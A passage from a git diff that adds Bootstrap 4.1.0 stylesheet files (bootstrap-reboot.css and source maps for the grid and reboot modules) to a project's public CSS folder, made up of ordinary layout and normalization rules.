flex: 1 1 auto !important;\n  }\n  .flex-xl-grow-0 {\n    -ms-flex-positive: 0 !important;\n    flex-grow: 0 !important;\n  }\n  .flex-xl-grow-1 {\n    -ms-flex-positive: 1 !important;\n    flex-grow: 1 !important;\n  }\n  .flex-xl-shrink-0 {\n    -ms-flex-negative: 0 !important;\n    flex-shrink: 0 !important;\n  }\n  .flex-xl-shrink-1 {\n    -ms-flex-negative: 1 !important;\n    flex-shrink: 1 !important;\n  }\n  .justify-content-xl-start {\n    -ms-flex-pack: start !important;\n    justify-content: flex-start !important;\n  }\n  .justify-content-xl-end {\n    -ms-flex-pack: end !important;\n    justify-content: flex-end !important;\n  }\n  .justify-content-xl-center {\n    -ms-flex-pack: center !important;\n    justify-content: center !important;\n  }\n  .justify-content-xl-between {\n    -ms-flex-pack: justify !important;\n    justify-content: space-between !important;\n  }\n  .justify-content-xl-around {\n    -ms-flex-pack: distribute !important;\n    justify-content: space-around !important;\n  }\n  .align-items-xl-start {\n    -ms-flex-align: start !important;\n    align-items: flex-start !important;\n  }\n  .align-items-xl-end {\n    -ms-flex-align: end !important;\n    align-items: flex-end !important;\n  }\n  .align-items-xl-center {\n    -ms-flex-align: center !important;\n    align-items: center !important;\n  }\n  .align-items-xl-baseline {\n    -ms-flex-align: baseline !important;\n    align-items: baseline !important;\n  }\n  .align-items-xl-stretch {\n    -ms-flex-align: stretch !important;\n    align-items: stretch !important;\n  }\n  .align-content-xl-start {\n    -ms-flex-line-pack: start !important;\n    align-content: flex-start !important;\n  }\n  .align-content-xl-end {\n    -ms-flex-line-pack: end !important;\n    align-content: flex-end !important;\n  }\n  .align-content-xl-center {\n    -ms-flex-line-pack: center !important;\n    align-content: center !important;\n  }\n  .align-content-xl-between {\n    -ms-flex-line-pack: justify !important;\n    align-content: space-between !important;\n  }\n  .align-content-xl-around {\n    -ms-flex-line-pack: distribute !important;\n    align-content: space-around !important;\n  }\n  .align-content-xl-stretch {\n    -ms-flex-line-pack: stretch !important;\n    align-content: stretch !important;\n  }\n  .align-self-xl-auto {\n    -ms-flex-item-align: auto !important;\n    align-self: auto !important;\n  }\n  .align-self-xl-start {\n    -ms-flex-item-align: start !important;\n    align-self: flex-start !important;\n  }\n  .align-self-xl-end {\n    -ms-flex-item-align: end !important;\n    align-self: flex-end !important;\n  }\n  .align-self-xl-center {\n    -ms-flex-item-align: center !important;\n    align-self: center !important;\n  }\n  .align-self-xl-baseline {\n    -ms-flex-item-align: baseline !important;\n    align-self: baseline !important;\n  }\n  .align-self-xl-stretch {\n    -ms-flex-item-align: stretch !important;\n    align-self: stretch !important;\n  }\n}\n/*# sourceMappingURL=bootstrap-grid.css.map */","// Container widths\n//\n// Set the container width, and override it for fixed navbars in media queries.\n\n@if $enable-grid-classes {\n  .container {\n    @include make-container();\n    @include make-container-max-widths();\n  }\n}\n\n// Fluid container\n//\n// Utilizes the mixin meant for fixed width containers, but with 100% width for\n// fluid, full width layouts.\n\n@if $enable-grid-classes {\n  .container-fluid {\n    @include make-container();\n  }\n}\n\n// Row\n//\n// Rows contain and clear the floats of your columns.\n\n@if $enable-grid-classes {\n  .row {\n    @include make-row();\n  }\n\n  // Remove the negative margin from default .row, then the horizontal padding\n  // from all immediate children columns (to prevent runaway style inheritance).\n  .no-gutters {\n    margin-right: 0;\n    margin-left: 0;\n\n    > .col,\n    > [class*=\"col-\"] {\n      padding-right: 0;\n      padding-left: 0;\n    }\n  }\n}\n\n// Columns\n//\n// Common styles for small and large grid columns\n\n@if $enable-grid-classes {\n  @include make-grid-columns();\n}\n","/// Grid system\n//\n// Generate semantic grid columns with these mixins.\n\n@mixin make-container() {\n  width: 100%;\n  padding-right: ($grid-gutter-width / 2);\n  padding-left: ($grid-gutter-width / 2);\n  margin-right: auto;\n  margin-left: auto;\n}\n\n\n// For each breakpoint, define the maximum width of the container in a media query\n@mixin make-container-max-widths($max-widths: $container-max-widths, $breakpoints: $grid-breakpoints) {\n  @each $breakpoint, $container-max-width in $max-widths {\n    @include media-breakpoint-up($breakpoint, $breakpoints) {\n      max-width: $container-max-width;\n    }\n  }\n}\n\n@mixin make-row() {\n  display: flex;\n  flex-wrap: wrap;\n  margin-right: ($grid-gutter-width / -2);\n  margin-left: ($grid-gutter-width / -2);\n}\n\n@mixin make-col-ready() {\n  position: relative;\n  // Prevent columns from becoming too narrow when at smaller grid tiers by\n  // always setting `width: 100%;`. This works because we use `flex` values\n  // later on to override this initial width.\n  width: 100%;\n  min-height: 1px; // Prevent collapsing\n  padding-right: ($grid-gutter-width / 2);\n  padding-left: ($grid-gutter-width / 2);\n}\n\n@mixin make-col($size, $columns: $grid-columns) {\n  flex: 0 0 percentage($size / $columns);\n  // Add a `max-width` to ensure content within each column does not blow out\n  // the width of the column. Applies to IE10+ and Firefox. Chrome and Safari\n  // do not appear to require this.\n  max-width: percentage($size / $columns);\n}\n\n@mixin make-col-offset($size, $columns: $grid-columns) {\n  $num: $size / $columns;\n  margin-left: if($num == 0, 0, percentage($num));\n}\n","// Breakpoint viewport sizes and media queries.\n//\n// Breakpoints are defined as a map of (name: minimum width), order from small to large:\n//\n//    (xs: 0, sm: 576px, md: 768px, lg: 992px, xl: 1200px)\n//\n// The map defined in the `$grid-breakpoints` global variable is used as the `$breakpoints` argument by default.\n\n// Name of the next breakpoint, or null for the last breakpoint.\n//\n//    >> breakpoint-next(sm)\n//    md\n//    >> breakpoint-next(sm, (xs: 0, sm: 576px, md: 768px, lg: 992px, xl: 1200px))\n//    md\n//    >> breakpoint-next(sm, $breakpoint-names: (xs sm md lg xl))\n//    md\n@function breakpoint-next($name, $breakpoints: $grid-breakpoints, $breakpoint-names: map-keys($breakpoints)) {\n  $n: index($breakpoint-names, $name);\n  @return if($n < length($breakpoint-names), nth($breakpoint-names, $n + 1), null);\n}\n\n// Minimum breakpoint width. Null for the smallest (first) breakpoint.\n//\n//    >> breakpoint-min(sm, (xs: 0, sm: 576px, md: 768px, lg: 992px, xl: 1200px))\n//    576px\n@function breakpoint-min($name, $breakpoints: $grid-breakpoints) {\n  $min: map-get($breakpoints, $name);\n  @return if($min != 0, $min, null);\n}\n\n// Maximum breakpoint width. Null for the largest (last) breakpoint.\n// The maximum value is calculated as the minimum of the next one less 0.02px\n// to work around the limitations of `min-` and `max-` prefixes and viewports with fractional widths.\n// See https://www.w3.org/TR/mediaqueries-4/#mq-min-max\n// Uses 0.02px rather than 0.01px to work around a current rounding bug in Safari.\n// See https://bugs.webkit.org/show_bug.cgi?id=178261\n//\n//    >> breakpoint-max(sm, (xs: 0, sm: 576px, md: 768px, lg: 992px, xl: 1200px))\n//    767.98px\n@function breakpoint-max($name, $breakpoints: $grid-breakpoints) {\n  $next: breakpoint-next($name, $breakpoints);\n  @return if($next, breakpoint-min($next, $breakpoints) - .02px, null);\n}\n\n// Returns a blank string if smallest breakpoint, otherwise returns the name with a dash infront.\n// Useful for making responsive utilities.\n//\n//    >> breakpoint-infix(xs, (xs: 0, sm: 576px, md: 768px, lg: 992px, xl: 1200px))\n//    \"\"  (Returns a blank string)\n//    >> breakpoint-infix(sm, (xs: 0, sm: 576px, md: 768px, lg: 992px, xl: 1200px))\n//    \"-sm\"\n@function breakpoint-infix($name, $breakpoints: $grid-breakpoints) {\n  @return if(breakpoint-min($name, $breakpoints) == null, \"\", \"-#{$name}\");\n}\n\n// Media of at least the minimum breakpoint width. No query for the smallest breakpoint.\n// Makes the @content apply to the given breakpoint and wider.\n@mixin media-breakpoint-up($name, $breakpoints: $grid-breakpoints) {\n  $min: breakpoint-min($name, $breakpoints);\n  @if $min {\n    @media (min-width: $min) {\n      @content;\n    }\n  } @else {\n    @content;\n  }\n}\n\n// Media of at most the maximum breakpoint width. No query for the largest breakpoint.\n// Makes the @content apply to the given breakpoint and narrower.\n@mixin media-breakpoint-down($name, $breakpoints: $grid-breakpoints) {\n  $max: breakpoint-max($name, $breakpoints);\n  @if $max {\n    @media (max-width: $max) {\n      @content;\n    }\n  } @else {\n    @content;\n  }\n}\n\n// Media that spans multiple breakpoint widths.\n// Makes the @content apply between the min and max breakpoints\n@mixin media-breakpoint-between($lower, $upper, $breakpoints: $grid-breakpoints) {\n  $min: breakpoint-min($lower, $breakpoints);\n  $max: breakpoint-max($upper, $breakpoints);\n\n  @if $min != null and $max != null {\n    @media (min-width: $min) and (max-width: $max) {\n      @content;\n    }\n  } @else if $max == null {\n    @include media-breakpoint-up($lower, $breakpoints) {\n      @content;\n    }\n  } @else if $min == null {\n    @include media-breakpoint-down($upper, $breakpoints) {\n      @content;\n    }\n  }\n}\n\n// Media between the breakpoint's minimum and maximum widths.\n// No minimum for the smallest breakpoint, and no maximum for the largest one.\n// Makes the @content apply only to the given breakpoint, not viewports any wider or narrower.\n@mixin media-breakpoint-only($name, $breakpoints: $grid-breakpoints) {\n  $min: breakpoint-min($name, $breakpoints);\n  $max: breakpoint-max($name, $breakpoints);\n\n  @if $min != null and $max != null {\n    @media (min-width: $min) and (max-width: $max) {\n      @content;\n    }\n  } @else if $max == null {\n    @include media-breakpoint-up($name, $breakpoints) {\n      @content;\n    }\n  } @else if $min == null {\n    @include media-breakpoint-down($name, $breakpoints) {\n      @content;\n    }\n  }\n}\n","// Framework grid generation\n//\n// Used only by Bootstrap to generate the correct number of grid classes given\n// any value of `$grid-columns`.\n\n@mixin make-grid-columns($columns: $grid-columns, $gutter: $grid-gutter-width, $breakpoints: $grid-breakpoints) {\n  // Common properties for all breakpoints\n  %grid-column {\n    position: relative;\n    width: 100%;\n    min-height: 1px; // Prevent columns from collapsing when empty\n    padding-right: ($gutter / 2);\n    padding-left: ($gutter / 2);\n  }\n\n  @each $breakpoint in map-keys($breakpoints) {\n    $infix: breakpoint-infix($breakpoint, $breakpoints);\n\n    // Allow columns to stretch full width below their breakpoints\n    @for $i from 1 through $columns {\n      .col#{$infix}-#{$i} {\n        @extend %grid-column;\n      }\n    }\n    .col#{$infix},\n    .col#{$infix}-auto {\n      @extend %grid-column;\n    }\n\n    @include media-breakpoint-up($breakpoint, $breakpoints) {\n      // Provide basic `.col-{bp}` classes for equal-width flexbox columns\n      .col#{$infix} {\n        flex-basis: 0;\n        flex-grow: 1;\n        max-width: 100%;\n      }\n      .col#{$infix}-auto {\n        flex: 0 0 auto;\n        width: auto;\n        max-width: none; // Reset earlier grid tiers\n      }\n\n      @for $i from 1 through $columns {\n        .col#{$infix}-#{$i} {\n          @include make-col($i, $columns);\n        }\n      }\n\n      .order#{$infix}-first { order: -1; }\n\n      .order#{$infix}-last { order: $columns + 1; }\n\n      @for $i from 0 through $columns {\n        .order#{$infix}-#{$i} { order: $i; }\n      }\n\n      // `$columns - 1` because offsetting by the width of an entire row isn't possible\n      @for $i from 0 through ($columns - 1) {\n        @if not ($infix == \"\" and $i == 0) { // Avoid emitting useless .offset-0\n          .offset#{$infix}-#{$i} {\n            @include make-col-offset($i, $columns);\n          }\n        }\n      }\n    }\n  }\n}\n","// stylelint-disable declaration-no-important\n\n//\n// Utilities for common `display` values\n//\n\n@each $breakpoint in map-keys($grid-breakpoints) {\n  @include media-breakpoint-up($breakpoint) {\n    $infix: breakpoint-infix($breakpoint, $grid-breakpoints);\n\n    .d#{$infix}-none         { display: none !important; }\n    .d#{$infix}-inline       { display: inline !important; }\n    .d#{$infix}-inline-block { display: inline-block !important; }\n    .d#{$infix}-block        { display: block !important; }\n    .d#{$infix}-table        { display: table !important; }\n    .d#{$infix}-table-row    { display: table-row !important; }\n    .d#{$infix}-table-cell   { display: table-cell !important; }\n    .d#{$infix}-flex         { display: flex !important; }\n    .d#{$infix}-inline-flex  { display: inline-flex !important; }\n  }\n}\n\n\n//\n// Utilities for toggling `display` in print\n//\n\n@media print {\n  .d-print-none         { display: none !important; }\n  .d-print-inline       { display: inline !important; }\n  .d-print-inline-block { display: inline-block !important; }\n  .d-print-block        { display: block !important; }\n  .d-print-table        { display: table !important; }\n  .d-print-table-row    { display: table-row !important; }\n  .d-print-table-cell   { display: table-cell !important; }\n  .d-print-flex         { display: flex !important; }\n  .d-print-inline-flex  { display: inline-flex !important; }\n}\n","// stylelint-disable declaration-no-important\n\n// Flex variation\n//\n// Custom styles for additional flex alignment options.\n\n@each $breakpoint in map-keys($grid-breakpoints) {\n  @include media-breakpoint-up($breakpoint) {\n    $infix: breakpoint-infix($breakpoint, $grid-breakpoints);\n\n    .flex#{$infix}-row            { flex-direction: row !important; }\n    .flex#{$infix}-column         { flex-direction: column !important; }\n    .flex#{$infix}-row-reverse    { flex-direction: row-reverse !important; }\n    .flex#{$infix}-column-reverse { flex-direction: column-reverse !important; }\n\n    .flex#{$infix}-wrap         { flex-wrap: wrap !important; }\n    .flex#{$infix}-nowrap       { flex-wrap: nowrap !important; }\n    .flex#{$infix}-wrap-reverse { flex-wrap: wrap-reverse !important; }\n    .flex#{$infix}-fill         { flex: 1 1 auto !important; }\n    .flex#{$infix}-grow-0       { flex-grow: 0 !important; }\n    .flex#{$infix}-grow-1       { flex-grow: 1 !important; }\n    .flex#{$infix}-shrink-0     { flex-shrink: 0 !important; }\n    .flex#{$infix}-shrink-1     { flex-shrink: 1 !important; }\n\n    .justify-content#{$infix}-start   { justify-content: flex-start !important; }\n    .justify-content#{$infix}-end     { justify-content: flex-end !important; }\n    .justify-content#{$infix}-center  { justify-content: center !important; }\n    .justify-content#{$infix}-between { justify-content: space-between !important; }\n    .justify-content#{$infix}-around  { justify-content: space-around !important; }\n\n    .align-items#{$infix}-start    { align-items: flex-start !important; }\n    .align-items#{$infix}-end      { align-items: flex-end !important; }\n    .align-items#{$infix}-center   { align-items: center !important; }\n    .align-items#{$infix}-baseline { align-items: baseline !important; }\n    .align-items#{$infix}-stretch  { align-items: stretch !important; }\n\n    .align-content#{$infix}-start   { align-content: flex-start !important; }\n    .align-content#{$infix}-end     { align-content: flex-end !important; }\n    .align-content#{$infix}-center  { align-content: center !important; }\n    .align-content#{$infix}-between { align-content: space-between !important; }\n    .align-content#{$infix}-around  { align-content: space-around !important; }\n    .align-content#{$infix}-stretch { align-content: stretch !important; }\n\n    .align-self#{$infix}-auto     { align-self: auto !important; }\n    .align-self#{$infix}-start    { align-self: flex-start !important; }\n    .align-self#{$infix}-end      { align-self: flex-end !important; }\n    .align-self#{$infix}-center   { align-self: center !important; }\n    .align-self#{$infix}-baseline { align-self: baseline !important; }\n    .align-self#{$infix}-stretch  { align-self: stretch !important; }\n  }\n}\n"]}
\ No newline at end of file
diff --git a/public/css/bootstrap-reboot.css b/public/css/bootstrap-reboot.css
new file mode 100644
index 0000000..9f0f40f
--- /dev/null
+++ b/public/css/bootstrap-reboot.css
@@ -0,0 +1,330 @@
+/*!
+ * Bootstrap Reboot v4.1.0 (https://getbootstrap.com/)
+ * Copyright 2011-2018 The Bootstrap Authors
+ * Copyright 2011-2018 Twitter, Inc.
+ * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE)
+ * Forked from Normalize.css, licensed MIT (https://github.com/necolas/normalize.css/blob/master/LICENSE.md)
+ */
+*,
+*::before,
+*::after {
+  box-sizing: border-box;
+}
+
+html {
+  font-family: sans-serif;
+  line-height: 1.15;
+  -webkit-text-size-adjust: 100%;
+  -ms-text-size-adjust: 100%;
+  -ms-overflow-style: scrollbar;
+  -webkit-tap-highlight-color: transparent;
+}
+
+@-ms-viewport {
+  width: device-width;
+}
+
+article, aside, dialog, figcaption, figure, footer, header, hgroup, main, nav, section {
+  display: block;
+}
+
+body {
+  margin: 0;
+  font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, "Helvetica Neue", Arial, sans-serif, "Apple Color Emoji", "Segoe UI Emoji", "Segoe UI Symbol";
+  font-size: 1rem;
+  font-weight: 400;
+  line-height: 1.5;
+  color: #212529;
+  text-align: left;
+  background-color: #fff;
+}
+
+[tabindex="-1"]:focus {
+  outline: 0 !important;
+}
+
+hr {
+  box-sizing: content-box;
+  height: 0;
+  overflow: visible;
+}
+
+h1, h2, h3, h4, h5, h6 {
+  margin-top: 0;
+  margin-bottom: 0.5rem;
+}
+
+p {
+  margin-top: 0;
+  margin-bottom: 1rem;
+}
+
+abbr[title],
+abbr[data-original-title] {
+  text-decoration: underline;
+  -webkit-text-decoration: underline dotted;
+  text-decoration: underline dotted;
+  cursor: help;
+  border-bottom: 0;
+}
+
+address {
+  margin-bottom: 1rem;
+  font-style: normal;
+  line-height: inherit;
+}
+
+ol,
+ul,
+dl {
+  margin-top: 0;
+  margin-bottom: 1rem;
+}
+
+ol ol,
+ul ul,
+ol ul,
+ul ol {
+  margin-bottom: 0;
+}
+
+dt {
+  font-weight: 700;
+}
+
+dd {
+  margin-bottom: .5rem;
+  margin-left: 0;
+}
+
+blockquote {
+  margin: 0 0 1rem;
+}
+
+dfn {
+  font-style: italic;
+}
+
+b,
+strong {
+  font-weight: bolder;
+}
+
+small {
+  font-size: 80%;
+}
+
+sub,
+sup {
+  position: relative;
+  font-size: 75%;
+  line-height: 0;
+  vertical-align: baseline;
+}
+
+sub {
+  bottom: -.25em;
+}
+
+sup {
+  top: -.5em;
+}
+
+a {
+  color: #007bff;
+  text-decoration: none;
+  background-color: transparent;
+  -webkit-text-decoration-skip: objects;
+}
+
+a:hover {
+  color: #0056b3;
+  text-decoration: underline;
+}
+
+a:not([href]):not([tabindex]) {
+  color: inherit;
+  text-decoration: none;
+}
+
+a:not([href]):not([tabindex]):hover, a:not([href]):not([tabindex]):focus {
+  color: inherit;
+  text-decoration: none;
+}
+
+a:not([href]):not([tabindex]):focus {
+  outline: 0;
+}
+
+pre,
+code,
+kbd,
+samp {
+  font-family: monospace, monospace;
+  font-size: 1em;
+}
+
+pre {
+  margin-top: 0;
+  margin-bottom: 1rem;
+  overflow: auto;
+  -ms-overflow-style: scrollbar;
+}
+
+figure {
+  margin: 0 0 1rem;
+}
+
+img {
+  vertical-align: middle;
+  border-style: none;
+}
+
+svg:not(:root) {
+  overflow: hidden;
+}
+
+table {
+  border-collapse: collapse;
+}
+
+caption {
+  padding-top: 0.75rem;
+  padding-bottom: 0.75rem;
+  color: #6c757d;
+  text-align: left;
+  caption-side: bottom;
+}
+
+th {
+  text-align: inherit;
+}
+
+label {
+  display: inline-block;
+  margin-bottom: 0.5rem;
+}
+
+button {
+  border-radius: 0;
+}
+
+button:focus {
+  outline: 1px dotted;
+  outline: 5px auto -webkit-focus-ring-color;
+}
+
+input,
+button,
+select,
+optgroup,
+textarea {
+  margin: 0;
+  font-family: inherit;
+  font-size: inherit;
+  line-height: inherit;
+}
+
+button,
+input {
+  overflow: visible;
+}
+
+button,
+select {
+  text-transform: none;
+}
+
+button,
+html [type="button"],
+[type="reset"],
+[type="submit"] {
+  -webkit-appearance: button;
+}
+
+button::-moz-focus-inner,
+[type="button"]::-moz-focus-inner,
+[type="reset"]::-moz-focus-inner,
+[type="submit"]::-moz-focus-inner {
+  padding: 0;
+  border-style: none;
+}
+
+input[type="radio"],
+input[type="checkbox"] {
+  box-sizing: border-box;
+  padding: 0;
+}
+
+input[type="date"],
+input[type="time"],
+input[type="datetime-local"],
+input[type="month"] {
+  -webkit-appearance: listbox;
+}
+
+textarea {
+  overflow: auto;
+  resize: vertical;
+}
+
+fieldset {
+  min-width: 0;
+  padding: 0;
+  margin: 0;
+  border: 0;
+}
+
+legend {
+  display: block;
+  width: 100%;
+  max-width: 100%;
+  padding: 0;
+  margin-bottom: .5rem;
+  font-size: 1.5rem;
+  line-height: inherit;
+  color: inherit;
+  white-space: normal;
+}
+
+progress {
+  vertical-align: baseline;
+}
+
+[type="number"]::-webkit-inner-spin-button,
+[type="number"]::-webkit-outer-spin-button {
+  height: auto;
+}
+
+[type="search"] {
+  outline-offset: -2px;
+  -webkit-appearance: none;
+}
+
+[type="search"]::-webkit-search-cancel-button,
+[type="search"]::-webkit-search-decoration {
+  -webkit-appearance: none;
+}
+
+::-webkit-file-upload-button {
+  font: inherit;
+  -webkit-appearance: button;
+}
+
+output {
+  display: inline-block;
+}
+
+summary {
+  display: list-item;
+  cursor: pointer;
+}
+
+template {
+  display: none;
+}
+
+[hidden] {
+  display: none !important;
+}
+/*# sourceMappingURL=bootstrap-reboot.css.map */
\ No newline at end of file
diff --git a/public/css/bootstrap-reboot.css.map b/public/css/bootstrap-reboot.css.map
new file mode 100644
index 0000000..ee4c739
--- /dev/null
+++ b/public/css/bootstrap-reboot.css.map
@@ -0,0 +1 @@
+{"version":3,"sources":["../../scss/bootstrap-reboot.scss","../../scss/_reboot.scss","../../scss/_variables.scss","bootstrap-reboot.css","../../scss/mixins/_hover.scss"],"names":[],"mappings":"AAAA;;;;;;GAMG;ACcH;;;EAGE,uBAAsB;CACvB;;AAED;EACE,wBAAuB;EACvB,kBAAiB;EACjB,+BAA8B;EAC9B,2BAA0B;EAC1B,8BAA6B;EAC7B,yCCXa;CDYd;;AAIC;EACE,oBAAmB;CEdtB;;AFoBD;EACE,eAAc;CACf;;AAUD;EACE,UAAS;EACT,kKC+KgL;ED9KhL,gBCmLgC;EDlLhC,iBCuL+B;EDtL/B,iBC0L+B;EDzL/B,eC1CgB;ED2ChB,iBAAgB;EAChB,uBCrDa;CDsDd;;AExBD;EFgCE,sBAAqB;CACtB;;AAQD;EACE,wBAAuB;EACvB,UAAS;EACT,kBAAiB;CAClB;;AAYD;EACE,cAAa;EACb,sBC4JyC;CD3J1C;;AAOD;EACE,cAAa;EACb,oBCiD8B;CDhD/B;;AASD;;EAEE,2BAA0B;EAC1B,0CAAiC;EAAjC,kCAAiC;EACjC,aAAY;EACZ,iBAAgB;CACjB;;AAED;EACE,oBAAmB;EACnB,mBAAkB;EAClB,qBAAoB;CACrB;;AAED;;;EAGE,cAAa;EACb,oBAAmB;CACpB;;AAED;;;;EAIE,iBAAgB;CACjB;;AAED;EACE,iBC+F+B;CD9FhC;;AAED;EACE,qBAAoB;EACpB,eAAc;CACf;;AAED;EACE,iBAAgB;CACjB;;AAED;EACE,mBAAkB;CACnB;;AAGD;;EAEE,oBAAmB;CACpB;;AAGD;EACE,eAAc;CACf;;AAOD;;EAEE,mBAAkB;EAClB,eAAc;EACd,eAAc;EACd,yBAAwB;CACzB;;AAED;EAAM,eAAc;CAAK;;AACzB;EAAM,WAAU;CAAK;;AAOrB;EACE,eClKe;EDmKf,sBChD8B;EDiD9B,8BAA6B;EAC7B,sCAAqC;CAMtC;;AGnMC;EHgME,eCpDgD;EDqDhD,2BCpDiC;CE7Ib;;AH2MxB;EACE,eAAc;EACd,sBAAqB;CAUtB;;AGnNC;EH4ME,eAAc;EACd,sBAAqB;CG1MtB;;AHoMH;EAUI,WAAU;CACX;;AASH;;;;EAIE,kCAAiC;EACjC,eAAc;CACf;;AAGD;EAEE,cAAa;EAEb,oBAAmB;EAEnB,eAAc;EAGd,8BAA6B;CAC9B;;AAOD;EAEE,iBAAgB;CACjB;;AAOD;EACE,uBAAsB;EACtB,mBAAkB;CACnB;;AAED;EACE,iBAAgB;CACjB;;AAOD;EACE,0BAAyB;CAC1B;;AAED;EACE,qBCckC;EDblC,wBCakC;EDZlC,eCnRgB;EDoRhB,iBAAgB;EAChB,qBAAoB;CACrB;;AAED;EAGE,oBAAmB;CACpB;;AAOD;EAEE,sBAAqB;EACrB,sBC+E2C;CD9E5C;;AAKD;EACE,iBAAgB;CACjB;;AAMD;EACE,oBAAmB;EACnB,2CAA0C;CAC3C;;AAED;;;;;EAKE,UAAS;EACT,qBAAoB;EACpB,mBAAkB;EAClB,qBAAoB;CACrB;;AAED;;EAEE,kBAAiB;CAClB;;AAED;;EAEE,qBAAoB;CACrB;;AAKD;;;;EAIE,2BAA0B;CAC3B;;AAGD;;;;EAIE,WAAU;EACV,mBAAkB;CACnB;;AAED;;EAEE,uBAAsB;EACtB,WAAU;CACX;;AAGD;;;;EASE,4BAA2B;CAC5B;;AAED;EACE,eAAc;EAEd,iBAAgB;CACjB;;AAED;EAME,aAAY;EAEZ,WAAU;EACV,UAAS;EACT,UAAS;CACV;;AAID;EACE,eAAc;EACd,YAAW;EACX,gBAAe;EACf,WAAU;EACV,qBAAoB;EACpB,kBAAiB;EACjB,qBAAoB;EACpB,eAAc;EACd,oBAAmB;CACpB;;AAED;EACE,yBAAwB;CACzB;;AEpID;;EFyIE,aAAY;CACb;;AErID;EF4IE,qBAAoB;EACpB,yBAAwB;CACzB;;AEzID;;EFiJE,yBAAwB;CACzB;;AAOD;EACE,cAAa;EACb,2BAA0B;CAC3B;;AAMD;EACE,sBAAqB;CACtB;;AAED;EACE,mBAAkB;EAClB,gBAAe;CAChB;;AAED;EACE,cAAa;CACd;;AEtJD;EF2JE,yBAAwB;CACzB","file":"bootstrap-reboot.css","sourcesContent":["/*!\n * Bootstrap Reboot v4.1.0 (https://getbootstrap.com/)\n * Copyright 2011-2018 The Bootstrap Authors\n * Copyright 2011-2018 Twitter, Inc.\n * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE)\n * Forked from Normalize.css, licensed MIT (https://github.com/necolas/normalize.css/blob/master/LICENSE.md)\n */\n\n@import \"functions\";\n@import \"variables\";\n@import \"mixins\";\n@import \"reboot\";\n","// stylelint-disable at-rule-no-vendor-prefix, declaration-no-important, selector-no-qualifying-type, property-no-vendor-prefix\n\n// Reboot\n//\n// Normalization of HTML elements, manually forked from Normalize.css to remove\n// styles targeting irrelevant browsers while applying new styles.\n//\n// Normalize is licensed MIT. https://github.com/necolas/normalize.css\n\n\n// Document\n//\n// 1. Change from `box-sizing: content-box` so that `width` is not affected by `padding` or `border`.\n// 2. Change the default font family in all browsers.\n// 3. Correct the line height in all browsers.\n// 4. Prevent adjustments of font size after orientation changes in IE on Windows Phone and in iOS.\n// 5. Setting @viewport causes scrollbars to overlap content in IE11 and Edge, so\n//    we force a non-overlapping, non-auto-hiding scrollbar to counteract.\n// 6. Change the default tap highlight to be completely transparent in iOS.\n\n*,\n*::before,\n*::after {\n  box-sizing: border-box; // 1\n}\n\nhtml {\n  font-family: sans-serif; // 2\n  line-height: 1.15; // 3\n  -webkit-text-size-adjust: 100%; // 4\n  -ms-text-size-adjust: 100%; // 4\n  -ms-overflow-style: scrollbar; // 5\n  -webkit-tap-highlight-color: rgba($black, 0); // 6\n}\n\n// IE10+ doesn't honor `<meta name=\"viewport\">` in some cases.\n@at-root {\n  @-ms-viewport {\n    width: device-width;\n  }\n}\n\n// stylelint-disable selector-list-comma-newline-after\n// Shim for \"new\" HTML5 structural elements to display correctly (IE10, older browsers)\narticle, aside, dialog, figcaption, figure, footer, header, hgroup, main, nav, section {\n  display: block;\n}\n// stylelint-enable selector-list-comma-newline-after\n\n// Body\n//\n// 1. Remove the margin in all browsers.\n// 2. As a best practice, apply a default `background-color`.\n// 3. Set an explicit initial text-align value so that we can later use the\n//    the `inherit` value on things like `<th>` elements.\n\nbody {\n  margin: 0; // 1\n  font-family: $font-family-base;\n  font-size: $font-size-base;\n  font-weight: $font-weight-base;\n  line-height: $line-height-base;\n  color: $body-color;\n  text-align: left; // 3\n  background-color: $body-bg; // 2\n}\n\n// Suppress the focus outline on elements that cannot be accessed via keyboard.\n// This prevents an unwanted focus outline from appearing around elements that\n// might still respond to pointer events.\n//\n// Credit: https://github.com/suitcss/base\n[tabindex=\"-1\"]:focus {\n  outline: 0 !important;\n}\n\n\n// Content grouping\n//\n// 1. Add the correct box sizing in Firefox.\n// 2. Show the overflow in Edge and IE.\n\nhr {\n  box-sizing: content-box; // 1\n  height: 0; // 1\n  overflow: visible; // 2\n}\n\n\n//\n// Typography\n//\n\n// Remove top margins from headings\n//\n// By default, `<h1>`-`<h6>` all receive top and bottom margins. We nuke the top\n// margin for easier control within type scales as it avoids margin collapsing.\n// stylelint-disable selector-list-comma-newline-after\nh1, h2, h3, h4, h5, h6 {\n  margin-top: 0;\n  margin-bottom: $headings-margin-bottom;\n}\n// stylelint-enable selector-list-comma-newline-after\n\n// Reset margins on paragraphs\n//\n// Similarly, the top margin on `<p>`s get reset. However, we also reset the\n// bottom margin to use `rem` units instead of `em`.\np {\n  margin-top: 0;\n  margin-bottom: $paragraph-margin-bottom;\n}\n\n// Abbreviations\n//\n// 1. Remove the bottom border in Firefox 39-.\n// 2. Add the correct text decoration in Chrome, Edge, IE, Opera, and Safari.\n// 3. Add explicit cursor to indicate changed behavior.\n// 4. Duplicate behavior to the data-* attribute for our tooltip plugin\n\nabbr[title],\nabbr[data-original-title] { // 4\n  text-decoration: underline; // 2\n  text-decoration: underline dotted; // 2\n  cursor: help; // 3\n  border-bottom: 0; // 1\n}\n\naddress {\n  margin-bottom: 1rem;\n  font-style: normal;\n  line-height: inherit;\n}\n\nol,\nul,\ndl {\n  margin-top: 0;\n  margin-bottom: 1rem;\n}\n\nol ol,\nul ul,\nol ul,\nul ol {\n  margin-bottom: 0;\n}\n\ndt {\n  font-weight: $dt-font-weight;\n}\n\ndd {\n  margin-bottom: .5rem;\n  margin-left: 0; // Undo browser default\n}\n\nblockquote {\n  margin: 0 0 1rem;\n}\n\ndfn {\n  font-style: italic; // Add the correct font style in Android 4.3-\n}\n\n// stylelint-disable font-weight-notation\nb,\nstrong {\n  font-weight: bolder; // Add the correct font weight in Chrome, Edge, and Safari\n}\n// stylelint-enable font-weight-notation\n\nsmall {\n  font-size: 80%; // Add the correct font size in all browsers\n}\n\n//\n// Prevent `sub` and `sup` elements from affecting the line height in\n// all browsers.\n//\n\nsub,\nsup {\n  position: relative;\n  font-size: 75%;\n  line-height: 0;\n  vertical-align: baseline;\n}\n\nsub { bottom: -.25em; }\nsup { top: -.5em; }\n\n\n//\n// Links\n//\n\na {\n  color: $link-color;\n  text-decoration: $link-decoration;\n  background-color: transparent; // Remove the gray background on active links in IE 10.\n  -webkit-text-decoration-skip: objects; // Remove gaps in links underline in iOS 